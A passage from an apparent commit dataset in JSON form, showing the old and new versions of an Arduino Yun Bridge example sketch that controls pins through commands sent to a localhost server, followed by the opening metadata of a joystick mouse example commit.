Arduino,stevemayhew\/Arduino,superboonie\/Arduino,acosinwork\/Arduino,raimohanska\/Arduino,scdls\/Arduino,andyvand\/Arduino-1,mateuszdw\/Arduino,gestrem\/Arduino,xxxajk\/Arduino-1,laylthe\/Arduino,jaehong\/Xmegaduino,ricklon\/Arduino,tomkrus007\/Arduino,ssvs111\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,snargledorf\/Arduino,probonopd\/Arduino,aichi\/Arduino-2,ricklon\/Arduino,wayoda\/Arduino,gurbrinder\/Arduino,jaej-dev\/Arduino,jaehong\/Xmegaduino,mateuszdw\/Arduino,myrtleTree33\/Arduino,garci66\/Arduino,pdNor\/Arduino,ricklon\/Arduino,wdoganowski\/Arduino,onovy\/Arduino,NaSymbol\/Arduino,UDOOboard\/Arduino,arunkuttiyara\/Arduino,ForestNymph\/Arduino_sources,pdNor\/Arduino,spapadim\/Arduino,tannewt\/Arduino,adamkh\/Arduino,jaimemaretoli\/Arduino,PeterVH\/Arduino,radut\/Arduino,ogahara\/Arduino,UDOOboard\/Arduino,plaintea\/esp8266-Arduino,aichi\/Arduino-2,ForestNymph\/Arduino_sources,gberl001\/Arduino,plinioseniore\/Arduino,snargledorf\/Arduino,karlitxo\/Arduino,danielchalef\/Arduino,superboonie\/Arduino,ntruchsess\/Arduino-1,SmartArduino\/Arduino-1,tannewt\/Arduino,tomkrus007\/Arduino,bsmr-arduino\/Arduino,gberl001\/Arduino,wdoganowski\/Arduino,ektor5\/Arduino,gberl001\/Arduino,eduardocasarin\/Arduino,probonopd\/Arduino,kidswong999\/Arduino,shiitakeo\/Arduino,gestrem\/Arduino,eeijcea\/Arduino-1,tommyli2014\/Arduino,majenkotech\/Arduino,lukeWal\/Arduino,piersoft\/esp8266-Arduino,plaintea\/esp8266-Arduino,shannonshsu\/Arduino,ari-analytics\/Arduino,eduardocasarin\/Arduino,paulmand3l\/Arduino,ricklon\/Arduino,andrealmeidadomingues\/Arduino,majenkotech\/Arduino,steamboating\/Arduino,gurbrinder\/Arduino,ari-analytics\/Arduino,superboonie\/Arduino,snargledorf\/Arduino,mateuszdw\/Arduino,henningpohl\/Arduino,spapadim\/Arduino,zederson\/Arduino,pdNor\/Arduino,jmgonzalez00449\/Arduino,ForestNymph\/Arduino_sources,EmuxEvans\/Arduino,wayoda\/Arduino,henningpohl\/Arduino,nkolban\/Arduino,probonopd\/Arduino,mateuszdw\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Cloudino-Arduino-IDE,onovy\/Arduino,mc-hamster\/esp8266-Arduino,niggor\/Arduino_cc,noahchense\/Arduino-1,NeuralSpaz\/Arduino,niggor\/Arduino_cc,ccoenen\/Arduino,jaimemaretoli\/Arduino,adamkh\/Arduino,zenmanenergy\/Arduino,bigjosh\/Arduino,me-no-dev\/Arduino-1,mateuszdw\/Arduino,damellis\/Arduino,NaSymbol\/Arduino,sanyaade-iot\/Arduino-1,drpjk\/Arduino,snargledorf\/Arduino,zaiexx\/Arduino,NaSymbol\/Arduino,raimohanska\/Arduino,probonopd\/Arduino,koltegirish\/Arduino,HCastano\/Arduino,zenmanenergy\/Arduino,koltegirish\/Arduino,paulo-raca\/ESP8266-Arduino,NicoHood\/Arduino,arduino-org\/Arduino,myrtleTree33\/Arduino,vbextreme\/Arduino,andrealmeidadomingues\/Arduino,spapadim\/Arduino,Cloudino\/Cloudino-Arduino-IDE,myrtleTree33\/Arduino,ektor5\/Arduino,tannewt\/Arduino,jmgonzalez00449\/Arduino,gestrem\/Arduino,byran\/Arduino,spapadim\/Arduino,nkolban\/Arduino,eddyst\/Arduino-SourceCode,stevemayhew\/Arduino,scdls\/Arduino,ari-analytics\/Arduino,tskurauskas\/Arduino,SmartArduino\/Arduino-1,paulo-raca\/ESP8266-Arduino,NicoHood\/Arduino,SmartArduino\/Arduino-1,eddyst\/Arduino-SourceCode,acosinwork\/Arduino,ashwin713\/Arduino,zederson\/Arduino,ogferreiro\/Arduino,garci66\/Arduino,Chris--A\/Arduino,UDOOboard\/Arduino,bsmr-arduino\/Arduino,plinioseniore\/Arduino,wilhelmryan\/Arduino,talhaburak\/Arduino,tskurauskas\/Arduino,chaveiro\/Arduino,NicoHood\/Arduino,danielchalef\/Arduino,myrtleTree33\/Arduino,byran\/Arduino,jomolinare\/Arduino,ForestNymph\/Arduino_sources,tommyli2014\/Arduino,arduino-org\/Arduino,ccoenen\/Arduino,ccoenen\/Arduino,zaiexx\/Arduino,stevemayhew\/Arduino,KlaasDeNys\/Arduino,snargledorf\/Arduino,weera00\/Arduino,stevemayhew\/Arduino,steamboating\/Arduino,weera00\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,NicoHood\/Arduino,tbowmo\/Arduino,paulmand3l\/Arduino,eggfly\/arduino,ikbelkirasan\/Arduino,me-no-dev\/Arduino-1,chaveiro\/Arduino,aichi\/Arduino-2,tannewt\/Arduino,kidswong999\/Arduino,acosinwork\/Arduino,wdoganowski\/Arduino,smily77\/Arduino,drpjk\/Arduino,xxxajk\/Arduino-1,majenkotech\/Arduino,raimohanska\/Arduino,fungxu\/Arduino,lulufei\/Arduino,drpjk\/Arduino,zenmanenergy\/Arduino,noahchense\/Arduino-1,EmuxEvans\/Arduino,ogahara\/Arduino,mangelajo\/Arduino,piersoft\/esp8266-Arduino,ogferreiro\/Arduino,gurbrinder\/Arduino,zaiexx\/Arduino,ikbelkirasan\/Arduino,rcook\/DesignLab,shannonshsu\/Arduino,tskurauskas\/Arduino,steamboating\/Arduino,ForestNymph\/Arduino_sources,stickbreaker\/Arduino,steamboating\/Arduino,wayoda\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,lukeWal\/Arduino,eggfly\/arduino,stevemayhew\/Arduino,ari-analytics\/Arduino,chaveiro\/Arduino,stevemarple\/Arduino-org,tommyli2014\/Arduino,KlaasDeNys\/Arduino,fungxu\/Arduino,ccoenen\/Arduino,eeijcea\/Arduino-1,adamkh\/Arduino,superboonie\/Arduino,lukeWal\/Arduino,NicoHood\/Arduino,pdNor\/Arduino,bsmr-arduino\/Arduino,lulufei\/Arduino,Gourav2906\/Arduino,ricklon\/Arduino,plaintea\/esp8266-Arduino,shiitakeo\/Arduino,ogahara\/Arduino,EmuxEvans\/Arduino,stevemarple\/Arduino-org,wilhelmryan\/Arduino,ogahara\/Arduino,jaimemaretoli\/Arduino,adafruit\/ESP8266-Arduino,mangelajo\/Arduino,sanyaade-iot\/Arduino-1,gestrem\/Arduino,sanyaade-iot\/Arduino-1,eggfly\/arduino,ntruchsess\/Arduino-1,acosinwork\/Arduino,nkolban\/Arduino,cscenter\/Arduino,paulo-raca\/ESP8266-Arduino,jmgonzalez00449\/Arduino,rcook\/DesignLab,pdNor\/Arduino,xxxajk\/Arduino-1,damellis\/Arduino,NeuralSpaz\/Arduino,zenmanenergy\/Arduino,jaej-dev\/Arduino,kidswong999\/Arduino,NaSymbol\/Arduino,mateuszdw\/Arduino,niggor\/Arduino_cc,koltegirish\/Arduino,fungxu\/Arduino,plinioseniore\/Arduino,radut\/Arduino,jaej-dev\/Arduino,arunkuttiyara\/Arduino,vbextreme\/Arduino,Cloudino\/Cloudino-Arduino-IDE,mboufos\/esp8266-Arduino,Protoneer\/Arduino,andyvand\/Arduino-1,talhaburak\/Arduino,mattvenn\/Arduino,superboonie\/Arduino,nandojve\/Arduino,NaSymbol\/Arduino,nandojve\/Arduino,jomolinare\/Arduino,Cloudino\/Arduino,lulufei\/Arduino,paulo-raca\/ESP8266-Arduino,mboufos\/esp8266-Arduino,tannewt\/Arduino,Protoneer\/Arduino,superboonie\/Arduino,radut\/Arduino,paulmand3l\/Arduino,jomolinare\/Arduino,Gourav2906\/Arduino,jabezGit\/Arduino,stickbreaker\/Arduino,Alfredynho\/AgroSis,vbextreme\/Arduino,ccoenen\/Arduino,laylthe\/Arduino,jomolinare\/Arduino,wayoda\/Arduino,talhaburak\/Arduino,spapadim\/Arduino,EmuxEvans\/Arduino,Alfredynho\/AgroSis,PaoloP74\/Arduino,zaiexx\/Arduino,weera00\/Arduino,PeterVH\/Arduino,ashwin713\/Arduino,gurbrinder\/Arduino,eduardocasarin\/Arduino,eddyst\/Arduino-SourceCode,weera00\/Arduino,damellis\/Arduino,nandojve\/Arduino,SmartArduino\/Arduino-1,tskurauskas\/Arduino,Protoneer\/Arduino,stickbreaker\/Arduino,ssvs111\/Arduino,ccoenen\/Arduino,scdls\/Arduino,bigjosh\/Arduino,SmartArduino\/Arduino-1,Chris--A\/Arduino,byran\/Arduino,probonopd\/Arduino,rcook\/DesignLab,byran\/Arduino,pdNor\/Arduino,KlaasDeNys\/Arduino,majenkotech\/Arduino,andrealmeidadomingues\/Arduino,jamesrob4\/Arduino,shiitakeo\/Arduino,mangelajo\/Arduino,wilhelmryan\/Arduino,leftbrainstrain\/Arduino-ESP8266,Alfredynho\/AgroSis,probonopd\/Arduino,OpenDevice\/Arduino,PaoloP74\/Arduino,eddyst\/Arduino-SourceCode,henningpohl\/Arduino,stickbreaker\/Arduino,bigjosh\/Arduino,jmgonzalez00449\/Arduino,bsmr-arduino\/Arduino,tskurauskas\/Arduino,PeterVH\/Arduino,NeuralSpaz\/Arduino,eeijcea\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,Gourav2906\/Arduino,fungxu\/Arduino,tommyli2014\/Arduino,plinioseniore\/Arduino,me-no-dev\/Arduino-1,bigjosh\/Arduino,karlitxo\/Arduino","old_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/BridgeNew\/BridgeNew.ino","new_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/BridgeNew\/BridgeNew.ino","new_contents":"\n\/\/ Possible commands are listed here:\n\/\/\n\/\/ \"digital\/13\" -> digitalRead(13)\n\/\/ \"digital\/13\/1\" -> digitalWrite(13, HIGH)\n\/\/ \"analog\/2\/123\" -> analogWrite(2, 123)\n\/\/ \"analog\/2\" -> analogRead(2)\n\/\/ \"mode\/13\/input\" -> pinMode(13, INPUT)\n\/\/ \"mode\/13\/output\" -> pinMode(13, OUTPUT)\n\n#include <Bridge.h>\n#include <YunServer.h>\n\n\/\/ Listen on port 5555, the webserver on the Yun\n\/\/ will forward there all the HTTP requests for us.\nYunServer server(5555);\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ Bridge startup\n pinMode(13,OUTPUT);\n digitalWrite(13, LOW);\n Bridge.begin();\n digitalWrite(13, HIGH);\n\n \/\/ Listen for incoming connection only from localhost\n \/\/ (no one from the external network could connect)\n server.listenOnLocalhost();\n server.begin();\n}\n\nvoid loop() {\n \/\/ Get clients coming from server\n YunClient client = server.accept();\n\n \/\/ There is a new client?\n if (client) {\n \/\/ Process request\n process(client);\n\n \/\/ Close connection and free resources.\n client.stop();\n }\n\n delay(50); \/\/ Poll every 50ms\n}\n\nvoid process(YunClient client) {\n \/\/ read the command\n String command = client.readStringUntil('\/');\n\n \/\/ is \"digital\" command?\n if (command == \"digital\") {\n digitalCommand(client);\n }\n\n \/\/ is \"analog\" command?\n if (command == \"analog\") {\n analogCommand(client);\n }\n\n \/\/ is \"mode\" command?\n if (command == \"mode\") {\n modeCommand(client);\n }\n}\n\nvoid digitalCommand(YunClient client) {\n int pin, value;\n\n \/\/ Read pin number\n pin = client.parseInt();\n\n \/\/ If the next character is a '\/' it means we have an URL\n \/\/ with a value like: \"\/digital\/13\/1\"\n if (client.read() == '\/') {\n value = client.parseInt();\n digitalWrite(pin, value);\n } \n else {\n value = digitalRead(pin);\n }\n\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" set to \"));\n client.println(value);\n\n \/\/ Update datastore key with the current pin value\n String key = \"D\";\n key += pin;\n Bridge.put(key, String(value));\n}\n\nvoid analogCommand(YunClient client) {\n int pin, value;\n\n \/\/ Read pin number\n pin = client.parseInt();\n\n \/\/ If the next character is a '\/' it means we have an URL\n \/\/ with a value like: \"\/analog\/5\/120\"\n if (client.read() == '\/') {\n \/\/ Read value and execute command\n value = client.parseInt();\n analogWrite(pin, value);\n\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" set to analog \"));\n client.println(value);\n\n \/\/ Update datastore key with the current pin value\n String key = \"D\";\n key += pin;\n Bridge.put(key, String(value));\n }\n else {\n \/\/ Read analog pin\n value = analogRead(pin);\n\n \/\/ Send feedback to client\n client.print(F(\"Pin A\"));\n client.print(pin);\n client.print(F(\" reads analog \"));\n client.println(value);\n\n \/\/ Update datastore key with the current pin value\n String key = \"A\";\n key += pin;\n Bridge.put(key, String(value));\n }\n}\n\nvoid modeCommand(YunClient client) {\n int pin;\n\n \/\/ Read pin number\n pin = client.parseInt();\n\n \/\/ If the next character is not a '\/' we have a malformed URL\n if (client.read() != '\/') {\n client.println(F(\"error\"));\n return;\n }\n\n String mode = client.readStringUntil('\\r');\n\n if (mode == \"input\") {\n pinMode(pin, INPUT);\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" configured as INPUT!\"));\n return;\n }\n\n if (mode == \"output\") {\n pinMode(pin, OUTPUT);\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" configured as OUTPUT!\"));\n return;\n }\n\n client.print(F(\"error: invalid mode \"));\n client.print(mode);\n}\n\n\n","old_contents":"\n\/\/ Possible commands are listed here:\n\/\/\n\/\/ \"digital\/13\" -> digitalRead(13)\n\/\/ \"digital\/13\/1\" -> digitalWrite(13, HIGH)\n\/\/ \"analog\/2\/123\" -> analogWrite(2, 123)\n\/\/ \"analog\/2\" -> analogRead(2)\n\/\/ \"mode\/13\/input\" -> pinMode(13, INPUT)\n\/\/ \"mode\/13\/output\" -> pinMode(13, OUTPUT)\n\n#include <Bridge.h>\n#include <YunServer.h>\n\n\/\/ Listen on port 5555, the webserver on the Yun\n\/\/ will forward there all the HTTP requests for us.\nYunServer server(5555);\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ Bridge startup\n pinMode(13,OUTPUT);\n digitalWrite(13, LOW);\n Bridge.begin();\n digitalWrite(13, HIGH);\n\n \/\/ Listen for incoming connection only from localhost\n \/\/ (no one from the external network could connect)\n server.listenOnLocalhost();\n server.begin();\n}\n\nvoid loop() {\n \/\/ Get clients coming from server\n YunClient client = server.accept();\n\n \/\/ There is a new client?\n if (client) {\n \/\/ Process request\n process(client);\n\n \/\/ Close connection and free resources.\n client.stop();\n }\n\n delay(50); \/\/ Poll every 50ms\n}\n\nvoid process(YunClient client) {\n \/\/ discard the first slash '\/' character from the URL\n client.read();\n\n \/\/ read the command\n String command = client.readStringUntil('\/');\n\n \/\/ is \"digital\" command?\n if (command == \"digital\") {\n digitalCommand(client);\n }\n\n \/\/ is \"analog\" command?\n if (command == \"analog\") {\n analogCommand(client);\n }\n\n \/\/ is \"mode\" command?\n if (command == \"mode\") {\n modeCommand(client);\n }\n}\n\nvoid digitalCommand(YunClient client) {\n int pin, value;\n\n \/\/ Read pin number\n pin = client.parseInt();\n\n \/\/ If the next character is a '\/' it means we have an URL\n \/\/ with a value like: \"\/digital\/13\/1\"\n if (client.read() == '\/') {\n value = client.parseInt();\n digitalWrite(pin, value);\n } \n else {\n value = digitalRead(pin);\n }\n\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" set to \"));\n client.println(value);\n\n \/\/ Update datastore key with the current pin value\n String key = \"D\";\n key += pin;\n Bridge.put(key, String(value));\n}\n\nvoid analogCommand(YunClient client) {\n int pin, value;\n\n \/\/ Read pin number\n pin = client.parseInt();\n\n \/\/ If the next character is a '\/' it means we have an URL\n \/\/ with a value like: \"\/analog\/5\/120\"\n if (client.read() == '\/') {\n \/\/ Read value and execute command\n value = client.parseInt();\n analogWrite(pin, value);\n\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" set to analog \"));\n client.println(value);\n\n \/\/ Update datastore key with the current pin value\n String key = \"D\";\n key += pin;\n Bridge.put(key, String(value));\n }\n else {\n \/\/ Read analog pin\n value = analogRead(pin);\n\n \/\/ Send feedback to client\n client.print(F(\"Pin A\"));\n client.print(pin);\n client.print(F(\" reads analog \"));\n client.println(value);\n\n \/\/ Update datastore key with the current pin value\n String key = \"A\";\n key += pin;\n Bridge.put(key, String(value));\n }\n}\n\nvoid modeCommand(YunClient client) {\n int pin;\n\n \/\/ Read pin number\n pin = client.parseInt();\n\n \/\/ If the next character is not a '\/' we have a malformed URL\n if (client.read() != '\/') {\n client.println(F(\"error\"));\n return;\n }\n\n String mode = client.readStringUntil('\\r');\n\n if (mode == \"input\") {\n pinMode(pin, INPUT);\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" configured as INPUT!\"));\n return;\n }\n\n if (mode == \"output\") {\n pinMode(pin, OUTPUT);\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" configured as OUTPUT!\"));\n return;\n }\n\n client.print(F(\"error: invalid mode \"));\n client.print(mode);\n}\n\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"264724c45146a4ea114042c31b31e50da4bb7234","subject":"Added joystick mouse control example in libraries\/Mouse\/examples","message":"Added joystick mouse control example in libraries\/Mouse\/examples\n","repos":"mattvenn\/Arduino,andyvand\/Arduino-1,mattvenn\/Arduino,pdNor\/Arduino,DavidUser\/Energia,battosai30\/Energia,linino\/Arduino,bigjosh\/Arduino,mboufos\/esp8266-Arduino,karlitxo\/Arduino,onovy\/Arduino,zenmanenergy\/Arduino,stevemarple\/Arduino,mangelajo\/Arduino,eeijcea\/Arduino-1,aichi\/Arduino-2,eduardocasarin\/Arduino,NeuralSpaz\/Arduino,ntruchsess\/Arduino-1,bsmr-arduino\/Arduino,vbextreme\/Arduino,ogferreiro\/Arduino,xxxajk\/Arduino-1,ashwin713\/Arduino,Protoneer\/Arduino,jaehong\/Xmegaduino,ogahara\/Arduino,myrtleTree33\/Arduino,wdoganowski\/Arduino,mateuszdw\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,superboonie\/Arduino,01org\/Arduino,jomolinare\/Arduino,nkolban\/Arduino,Ramoonus\/Arduino,ms-iot\/Arduino,jabezGit\/Arduino,mboufos\/esp8266-Arduino,jaimemaretoli\/Arduino,stevemayhew\/Arduino,byran\/Arduino,bobintornado\/Energia,steamboating\/Arduino,NoPinky\/Energia,Alfredynho\/AgroSis,smily77\/Arduino,jaimemaretoli\/Arduino,NoPinky\/Energia,ssvs111\/Arduino,ikbelkirasan\/Arduino,weera00\/Arduino,zaiexx\/Arduino,Cloudino\/Arduino,danielchalef\/Arduino,pdNor\/Arduino,tomkrus007\/Arduino,radiolok\/Energia,ThoughtWorksIoTGurgaon\/Arduino,battosai30\/Energia,rcook\/DesignLab,zenmanenergy\/Arduino,stickbreaker\/Arduino,Orthogonal-Systems\/arduino-libs,zacinaction\/Energia,NaSymbol\/Arduino,wilhelmryan\/Arduino,damellis\/Arduino,wayoda\/Arduino,arunkuttiyara\/Arduino,lukeWal\/Arduino,vbextreme\/Arduino,vbextreme\/Arduino,karlitxo\/Arduino,lukeWal\/Arduino,nandojve\/Arduino,tbowmo\/Arduino,nkolban\/Arduino,onovy\/Arduino,odbol\/Arduino,shannonshsu\/Arduino,ogahara\/Arduino,damellis\/Arduino,radiolok\/Energia,jmgonzalez00449\/Arduino,OpenDevice\/Arduino,stevemayhew\/Arduino,zacinaction\/Energia,ForestNymph\/Arduino_sources,talhaburak\/Arduino,eddyst\/Arduino-SourceCode,lulufei\/Arduino,eggfly\/arduino,Alfredynho\/AgroSis,i--storm\/Energia,ektor5\/Arduino,mangelajo\/Arduino,stickbreaker\/Arduino,smily77\/Arduino,jamesrob4\/Arduino,vbextreme\/Arduino,diydrones\/Arduino,zenmanenergy\/Arduino,tannewt\/Arduino,sanyaade-iot\/Energia,probonopd\/Arduino,gonium\/Arduino,tomkrus007\/Arduino,majenkotech\/Arduino,laylthe\/Arduino,jaehong\/Xmegaduino,ccoenen\/Arduino,bsmr-arduino\/Arduino,wilhelmryan\/Arduino,ssvs111\/Arduino,Cloudino\/Cloudino-Arduino-IDE,381426068\/Arduino,danielchalef\/Arduino,eddyst\/Arduino-SourceCode,eddyst\/Arduino-SourceCode,Cloudino\/Arduino,jomolinare\/Arduino,jamesrob4\/Arduino,ogferreiro\/Arduino,gberl001\/Arduino,gonium\/Arduino,UDOOboard\/Arduino,smily77\/Arduino,ogahara\/Arduino,eddyst\/Arduino-SourceCode,laylthe\/Arduino,qtonthat\/Energia,tskurauskas\/Arduino,nkolban\/Arduino,championswimmer\/Arduino,koltegirish\/Arduino,plinioseniore\/Arduino,gberl001\/Arduino,linino\/Arduino,EmuxEvans\/Arduino,Gourav2906\/Arduino,Alfredynho\/AgroSis,stevemarple\/Arduino-org,acosinwork\/Arduino,snargledorf\/Arduino,HCastano\/Arduino,tskurauskas\/Arduino,myrtleTree33\/Arduino,UDOOboard\/Arduino,stevemarple\/Arduino-org,NoPinky\/Energia,danielohh\/Energia,PaoloP74\/Arduino,eggfly\/arduino,ForestNymph\/Arduino_sources,ntruchsess\/Arduino-1,arduino-org\/Arduino,koltegirish\/Arduino,ntruchsess\/Arduino-1,danielohh\/Energia,niggor\/Arduino_cc,linino\/Arduino,jmgonzalez00449\/Arduino,tbowmo\/Arduino,jabezGit\/Arduino,steamboating\/Arduino,eeijcea\/Arduino-1,dvdvideo1234\/Energia,UDOOboard\/Arduino,rcook\/DesignLab,kidswong999\/Arduino,lulufei\/Arduino,fungxu\/Arduino,ntruchsess\/Arduino-1,superboonie\/Arduino,jadonk\/Energia,laylthe\/Arduino,eeijcea\/Arduino-1,brianonn\/Energia,danielohh\/Energia,lulufei\/Arduino,eddyst\/Arduino-SourceCode,NoPinky\/Energia,PaintYourDragon\/Arduino,mboufos\/esp8266-Arduino,bobintornado\/Energia,Protoneer\/Arduino,arunkuttiyara\/Arduino,NaSymbol\/Arduino,mateuszdw\/Arduino,ari-analytics\/Arduino,weera00\/Arduino,HCastano\/Arduino,DavidUser\/Energia,dvdvideo1234\/Energia,laylthe\/Arduino,myrtleTree33\/Arduino,niggor\/Arduino_cc,scdls\/Arduino,majenkotech\/Arduino,adafruit\/ESP8266-Arduino,tannewt\/Arduino,ikbelkirasan\/Arduino,jaej-dev\/Arduino,koltegirish\/Arduino,tbowmo\/Arduino,tomkrus007\/Arduino,meanbot\/Energia,ForestNymph\/Arduino_sources,stevemarple\/Arduino,bsmr-arduino\/Arduino,adafruit\/ESP8266-Arduino,arunkuttiyara\/Arduino,drpjk\/Arduino,fungxu\/Arduino,gberl001\/Arduino,championswimmer\/Arduino,arduino-org\/Arduino,brianonn\/Energia,koltegirish\/Arduino,Cloudino\/Arduino,championswimmer\/Arduino,jaimemaretoli\/Arduino,odbol\/Arduino,arduino-org\/Arduino,shiitakeo\/Arduino,onovy\/Arduino,talhaburak\/Arduino,Chris--A\/Arduino,nandojve\/Arduino,laylthe\/Arduino,Alfredynho\/AgroSis,pdNor\/Arduino,stevemayhew\/Arduino,henningpohl\/Arduino,ForestNymph\/Arduino_sources,meanbot\/Energia,kidswong999\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,henningpohl\/Arduino,radiolok\/Energia,bugobliterator\/BUAGI,drpjk\/Arduino,jomolinare\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,zacinaction\/Energia,probonopd\/Arduino,HCastano\/Arduino,andyvand\/Arduino-1,odbol\/Arduino,SmartArduino\/Arduino-1,henningpohl\/Arduino,damellis\/Arduino,Gourav2906\/Arduino,andrealmeidadomingues\/Arduino,tskurauskas\/Arduino,KlaasDeNys\/Arduino,stickbreaker\/Arduino,croberts15\/Energia,scdls\/Arduino,tommyli2014\/Arduino,NicoHood\/Arduino,niggor\/Arduino_cc,bigjosh\/Arduino,mangelajo\/Arduino,stickbreaker\/Arduino,superboonie\/Arduino,chaveiro\/Arduino,meanbot\/Energia,paulo-raca\/ESP8266-Arduino,danielchalef\/Arduino,noahchense\/Arduino-1,zaiexx\/Arduino,me-no-dev\/Arduino-1,rcook\/DesignLab,lukeWal\/Arduino,shiitakeo\/Arduino,stickbreaker\/Arduino,mattvenn\/Arduino,i--storm\/Energia,gurbrinder\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gonium\/Arduino,plinioseniore\/Arduino,jmgonzalez00449\/Arduino,jabezGit\/Arduino,PeterVH\/Arduino,weera00\/Arduino,talhaburak\/Arduino,gurbrinder\/Arduino,nkolban\/Arduino,Gourav2906\/Arduino,onovy\/Arduino,plaintea\/esp8266-Arduino,andyvand\/Arduino-1,Alfredynho\/AgroSis,jmgonzalez00449\/Arduino,PaoloP74\/Arduino,pasky\/Energia,gberl001\/Arduino,PaintYourDragon\/Arduino,smily77\/Arduino,SmartArduino\/Arduino-1,ricklon\/Arduino,leftbrainstrain\/Arduino-ESP8266,lulufei\/Arduino,spapadim\/Arduino,majenkotech\/Arduino,tskurauskas\/Arduino,koltegirish\/Arduino,martianmartin\/Energia,byran\/Arduino,cscenter\/Arduino,stevemarple\/Arduino-org,kidswong999\/Arduino,DavidUser\/Energia,niggor\/Arduino_cc,leftbrainstrain\/Arduino-ESP8266,zacinaction\/Energia,vbextreme\/Arduino,SmartArduino\/Arduino-1,bsmr-arduino\/Arduino,sanyaade-iot\/Arduino-1,fungxu\/Arduino,Cloudino\/Arduino,KlaasDeNys\/Arduino,ektor5\/Arduino,cscenter\/Arduino,nkolban\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ccoenen\/Arduino,EmuxEvans\/Arduino,gestrem\/Arduino,sanyaade-iot\/Energia,jadonk\/Energia,ccoenen\/Arduino,zaiexx\/Arduino,benwolfe\/esp8266-Arduino,SmartArduino\/Arduino-1,mattvenn\/Arduino,shannonshsu\/Arduino,croberts15\/Energia,adafruit\/ESP8266-Arduino,PeterVH\/Arduino,pdNor\/Arduino,gestrem\/Arduino,chaveiro\/Arduino,spapadim\/Arduino,wayoda\/Arduino,KlaasDeNys\/Arduino,tomkrus007\/Arduino,jamesrob4\/Arduino,OpenDevice\/Arduino,onovy\/Arduino,benwolfe\/esp8266-Arduino,jamesrob4\/Arduino,snargledorf\/Arduino,martianmartin\/Energia,gurbrinder\/Arduino,ccoenen\/Arduino,mangelajo\/Arduino,henningpohl\/Arduino,rodibot\/Arduino,majenkotech\/Arduino,dvdvideo1234\/Energia,rodibot\/Arduino,laylthe\/Arduino,dvdvideo1234\/Energia,mangelajo\/Arduino,snargledorf\/Arduino,ntruchsess\/Arduino-1,stevemarple\/Arduino,piersoft\/esp8266-Arduino,stevemarple\/Arduino-org,raimohanska\/Arduino,PaintYourDragon\/Arduino,radiolok\/Energia,paulo-raca\/ESP8266-Arduino,koltegirish\/Arduino,aichi\/Arduino-2,01org\/Arduino,ssvs111\/Arduino,snargledorf\/Arduino,noahchense\/Arduino-1,gonium\/Arduino,plinioseniore\/Arduino,cscenter\/Arduino,koltegirish\/Arduino,wdoganowski\/Arduino,scdls\/Arduino,ashwin713\/Arduino,talhaburak\/Arduino,talhaburak\/Arduino,ogahara\/Arduino,tannewt\/Arduino,zederson\/Arduino,smily77\/Arduino,henningpohl\/Arduino,karlitxo\/Arduino,myrtleTree33\/Arduino,garci66\/Arduino,xxxajk\/Arduino-1,tannewt\/Arduino,zenmanenergy\/Arduino,andrealmeidadomingues\/Arduino,Alfredynho\/AgroSis,shannonshsu\/Arduino,qtonthat\/Energia,paulmand3l\/Arduino,stevemarple\/Arduino-org,adamkh\/Arduino,Alfredynho\/AgroSis,brianonn\/Energia,PaoloP74\/Arduino,ogferreiro\/Arduino,talhaburak\/Arduino,superboonie\/Arduino,zaiexx\/Arduino,ektor5\/Arduino,bigjosh\/Arduino,xxxajk\/Arduino-1,zenmanenergy\/Arduino,damellis\/Arduino,gestrem\/Arduino,jamesrob4\/Arduino,eggfly\/arduino,andyvand\/Arduino-1,martianmartin\/Energia,scdls\/Arduino,adamkh\/Arduino,Gourav2906\/Arduino,cevatbostancioglu\/Energia,plaintea\/esp8266-Arduino,OpenDevice\/Arduino,bobintornado\/Energia,mateuszdw\/Arduino,mattvenn\/Arduino,paulo-raca\/ESP8266-Arduino,jaehong\/Xmegaduino,bsmr-arduino\/Arduino,ikbelkirasan\/Arduino,shannonshsu\/Arduino,onovy\/Arduino,superboonie\/Arduino,stevemayhew\/Arduino,battosai30\/Energia,PeterVH\/Arduino,andyvand\/Arduino-1,vigneshmanix\/Energia,paulo-raca\/ESP8266-Arduino,kidswong999\/Arduino,SmartArduino\/Arduino-1,pasky\/Energia,cevatbostancioglu\/Energia,Gourav2906\/Arduino,NeuralSpaz\/Arduino,arunkuttiyara\/Arduino,me-no-dev\/Arduino-1,NicoHood\/Arduino,drpjk\/Arduino,ikbelkirasan\/Arduino,HCastano\/Arduino,stevemarple\/Arduino,DavidUser\/Energia,spapadim\/Arduino,toddtreece\/esp8266-Arduino,Cloudino\/Arduino,adamkh\/Arduino,radut\/Arduino,zaiexx\/Arduino,battosai30\/Energia,danielohh\/Energia,wdoganowski\/Arduino,aichi\/Arduino-2,ogahara\/Arduino,jabezGit\/Arduino,ntruchsess\/Arduino-1,Ramoonus\/Arduino,radiolok\/Energia,dvdvideo1234\/Energia,me-no-dev\/Arduino-1,nkolban\/Arduino,benwolfe\/esp8266-Arduino,raimohanska\/Arduino,raimohanska\/Arduino,NicoHood\/Arduino,mc-hamster\/esp8266-Arduino,jaehong\/Xmegaduino,PeterVH\/Arduino,niggor\/Arduino_cc,diydrones\/Arduino,gonium\/Arduino,tannewt\/Arduino,arduino-org\/Ar